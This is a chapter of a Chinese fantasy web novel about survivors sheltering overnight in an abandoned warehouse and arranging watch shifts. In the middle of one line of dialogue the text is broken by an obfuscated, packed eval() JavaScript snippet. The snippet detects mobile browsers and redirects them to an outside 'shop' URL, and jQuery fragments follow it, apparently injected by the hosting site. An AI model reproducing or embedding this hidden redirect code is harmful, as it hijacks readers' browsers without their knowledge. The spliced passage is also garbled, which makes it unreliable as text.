北面的路还在前面。
天裂的光从暗金变成了橙红，像有谁在天幕背后点燃了一团极慢的火焰。
那些彩色裂纹的边缘在斜照里镶了一层暗红色的光晕，从地面往上看，像被烧透了的琉璃顶棚。
柳元元加快了脚步，但走不太快。路面从压实的泥土变成了碎石子混着沙土，每一步都往下陷一点，鞋底在碎石上磨出细碎的刮擦声。
她侧头看了一眼天边的颜色——彩色裂纹占据了将近一半的天空，但透下来的光照度在减弱。
天黑的速度比正常情况快了至少一倍。
"前面有建筑物。"银走在队伍中段偏后的位置，他抬手指向远处一个轮廓，灰白色调的顶棚在橙红色的光里泛着模糊的反光。
柳元元也看到了。
顶棚是波纹铁皮，不高，但范围很大，像一座仓库。
她把方向调了过去。
仓库比目测的更大。铁皮外墙锈迹斑斑，底部墙体是灰砖砌的，有几处砖缝里长出了枯草，被金粉裹了一层，像镀了银边的干花。
大门是两扇对开的铁门，门上的锁链锈成了暗红色，锁头挂在链环上，已经看不出原来的形状了。
仓库侧边有一道小门，门框是木制的，边缘开裂，门板漆皮剥落了大半。
柳元元走到小门前推了一下，门从内侧卡住了。
她侧过肩撞了一下，门板向内弹开一道缝，然后卡在半开的位置——门内侧堆着什么东西。
她侧身挤进去。仓库内部比预想的深，挑高很高，天裂光从高处几扇窄窗漏进来，在空气中形成几道斜斜的光柱，光柱里金粉缓慢翻卷着。
内部堆着落满灰的拖拉机轮胎，一排排摞放着，有些已经塌了。
角落里堆着旧零件——生锈的齿轮、弯曲的轴杆、几台散架的农用机械。
空气干燥，有浓重的机油味和金属屑的气味，比外面冷，也比外面安静。脚步踩在水泥地面上，能听见微微的回声。
她扫了一圈确认没有活物。然后走回门口，朝外面挥了一下手。"进。小心脚下。"
人群鱼贯而入。
有人一进来就靠着轮胎垛坐了下去，有人来回走着绕了一圈才选位置坐下，有人站着没有动，像是在确认这个空间是否真的安全。
柳元元把铁门的门闩插上，又拖了半个轮胎抵住门板。
然后她走到仓库右侧的墙角，那里的货架还立着，几排铁架可以把人围在中间，只留一个朝外的开口。
她站在那个位置扫了一眼空间，确认了每个方向的视野和死角，然后开口。
"守夜分组。"她点了几个名字，
"前半夜：我、小安、银。"银抬了一下眼，点了下头。小安从轮胎堆里探出头来，脸上的灰被蹭掉了一小片，露出底下发白的皮肤。"
后半夜：沈墨、蓝、羽。"蓝本来已经靠着墙半闭着眼了，听到自己名字的时候眼睫抬了一下。
羽坐在他旁边，听到自己的名字时没有立刻反应，像是在等那两个字真正落进耳朵里。
过了几秒她才轻轻点了一下头。
柳元元接着说位置："银和蓝守东面。东南角那堆零件后面视野最开，你们俩坐那里。羽和——"
她看了一眼两个人类，王磊和赵小刚，"守南面。南面窗多，虽然够不到，但天亮之前可能会有东西从外面经过。盯着就行，别开窗。"
她指了指西面她自己坐的位置，"西面归我。北面——"
她看了一眼沈墨，他还站在门内侧靠着墙。"后半夜你补所有方向。前半夜你休息，但如果有动静，你比我先听到。"
沈墨没有说话。但他从门边离开，走到仓库内墙一侧坐了下来。
他坐的位置刚好能透过堆叠的轮胎之间的缝隙看到所有人的方向——以及门口的方向。
前半夜开始了。仓库里的光线随着外面天裂光的持续减弱而变得更暗。
橙红色变成了暗紫色，然后又变成了一种接近于黑的深蓝。
彩色裂纹的边缘从亮光变成了微光，像一根根细小的彩色灯丝嵌在黑色的天幕里。
金粉还在飘落，但肉眼几乎看不到了，只有从屋顶缝隙漏进来的窄光里能捕捉到它缓慢翻卷的轨迹。
有人很快就睡着了。
侧着身子靠在轮胎上的、抱着背包蜷起来的、头靠着货架脚架垂下来的。
那个抱孩子的男人把孩子放在自己身前，用外套裹住孩子，自己也靠着一摞轮胎闭上了眼。
孩子已经睡熟了，呼吸均匀，小幅度地起伏着。
那个灰夹克老人靠着墙坐着，没有睡，但也没有动。
他睁着眼看着前方某个不确定的点，那点不在任何人的方向。
小安靠在她守的位置上，手里攥着那本湿了大半的杂志，没有翻开，只是攥着，指腹压在封面边缘被水泡皱的纸面上。
她没睡，但也不说话。
银和蓝坐在仓库东南角的零件堆旁边。银靠着一根竖着的轴杆坐着，工具刀横放在膝盖上，刀柄的方向朝着外侧。
他闭着眼，但呼吸频率不是睡着的人的频率。
蓝坐在他旁边大约一臂远的位置，他也没有睡。
他低头看着自己的手，手指半张着搭在膝盖上，像在等什么东西出现。
羽守在南面的窗下。她双手握着膝盖，指尖发白。
王磊坐在她旁边几步远的位置，手里攥着一根铁管，不时动一下，换一个握法，再动一下。
赵小刚在另一侧蹲着，盯着窗缝外的深蓝色天空，一直没说话。
仓库里很安静。只有呼吸声——有的深长平稳，有的浅而急促。
偶尔有人翻身时布料蹭过地面的摩擦声。远处偶尔有一两声模糊的、辨不出距离的声响，像什么东西翻了一下身，又沉下去了。
柳元元坐在西侧墙边。她的腿伸开，消防斧横放在膝盖上。
后背贴着墙壁能感觉到水泥的凉意透过衣料渗进来，但很浅，像被什么东西阻隔住了。
她能感觉到自己左手上那道墨线还在，在皮肤表面微微凸起，触感细而硬，像一根埋在皮下的细针。
她用右手拇指轻轻压了一下，没有疼，但有那种"被什么东西填满了"的钝感。
她听到脚步声的时候先看到了沈墨的影子——被窄窗漏下来的微光拉长，拖在水泥地面上，从仓库另一侧一直延伸到她的方向。
她抬起头。他已经走到她旁边了，没有坐下，靠着她侧面的货架站着。
货架的铁架子上有几根突出来的螺栓，他没有靠实，只是靠着，双臂垂在身侧。
"你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926081|213531||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去休息。"柳元元说。"后半夜你才轮值。"
"睡不着。"他说。他的声音很平，像在说一件自己也不确定的事。
"为什么？"
沈墨沉默了一会儿。
他的视线落在前方某个地方，但那个地方没有东西，只有对面的墙壁和墙根处一排轮胎的轮廓。
"刚才闭上眼的时候看到了一幅画面。"他说。"不是想的，是突然出现的。"
柳元元微微抬了一下下巴。"什么样的？"
"很小的画面。"他的声音比之前轻了一点，像在描述一件他正在翻阅的东西，
"白色的纸面。大部分是空的，只有中间有一只手——"
他顿了一下，像在确认自己看到了什么，"在画线。黑色的线。笔尖落在纸上，线条是直的。画了很长的一条。"
"是你自己的手？"柳元元问。
沈墨沉默了好几秒。时间长得柳元元以为他不会回答了。"……应该是。画线的是我。"
他说。"但那幅画里还有别的东西。线条画完之后，纸面上出现了一个人的背影。
我只看到了背影——没有脸。但我知道那个人在哪里。她站在线条的尽头。"
他的眉心两道折角又出现了，比之前更深，像有什么东西卡在记忆的门缝里，推不开也合不上。
柳元元看着他。
他的侧脸在暗处只有极淡的光从屋顶缝隙落下来，映出他下颌线的轮廓和眼尾那道墨线。
她的视线收回来，把自己的位置往旁边挪了不到半米，把原来坐的地方空了出来。"你可以坐。"
沈墨低头看了那个空位。他没有坐下去。
但他靠着的姿势比之前松了一些，像是把一部分重量交给了后面的货架。
"今天你说了很多话。"柳元元说。"感觉你在试着回忆。"
"……可能吧。"他抬起头，视线落在屋顶缝隙里漏进来的天裂光上。
"但回想东西的时候有一种感觉——像在翻一本泡了水的书。翻到哪里都是湿的。字糊成了一团。能认出那是字，但读不出来。"
柳元元把视线收回来，落在自己膝盖上的消防斧上面。
斧刃上有一小块干掉的泥渍，她用拇指腹蹭了一下，泥块掉了。"那就晾干再看。急不来。"
外面传来一声低沉的声响。像地底下有什么东西在翻动身体。
沈墨侧了一下头，目光转向门口的方向。
他停留了几秒，然后收回来。"很远。不在这个方向。"
柳元元点了点头。
她的手指从斧刃上收回来，握住斧柄。仓库里很安静，其他人的呼吸声混在一起，有深有浅，有快有慢。
那个孩子梦呓了一句什么，听不清，又安静下去了。
天裂的光从屋顶缝隙里漏进来，在他们脚边投下几道窄窄的彩色光带，在水泥地面上慢慢地移动着，像时间的刻度在一点一点地往前挪。
沈墨还站在她旁边，但他呼吸平稳，浅而均匀，像一页摊开了就不会合上的纸。
柳元元也闭上了眼，但没有睡着。她听着仓库内外所有的声响，分辨哪些是风声、哪些是呼吸、哪些是什么东西移动时带起的摩擦声。
她听到最后一切都归于安静。天裂的光还在慢慢地移动。